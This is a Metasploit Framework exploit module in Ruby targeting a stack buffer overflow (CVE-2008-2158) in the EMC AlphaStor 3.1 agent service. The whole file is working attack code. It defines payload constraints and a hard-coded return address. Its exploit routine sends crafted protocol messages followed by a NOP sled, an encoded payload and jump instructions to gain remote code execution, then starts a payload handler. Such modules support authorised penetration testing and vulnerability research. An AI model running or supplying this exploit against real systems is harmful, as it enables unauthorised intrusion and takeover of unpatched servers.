## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'EMC AlphaStor Agent Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in EMC AlphaStor 3.1. By sending a specially crafted message, an attacker may be able to execute arbitrary code. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2008-2158' ], [ 'OSVDB', '45714' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', # one-shot overwrite. }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975 ], 'Privileged' => true, 'DisclosureDate' => 'May 27 2008', 'DefaultTarget' => 0)) register_options([Opt::RPORT(41025)], self.class) end def exploit connect # overwrite via: ascli.exe asopmsg "long_buff" uno = [0x0000000b].pack('V') sock.put(uno) dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00" sock.put(dos) tres = [0x00000004].pack('V') sock.put(tres) quatro = [0x0000001b].pack('V') sock.put(quatro) cinco = [0x0000047c].pack('V') sock.put(cinco) data = make_nops(827 - payload.encoded.length) + payload.encoded data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V') data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00" print_status("Trying target #{target.name}...") sock.put(data) handler disconnect end end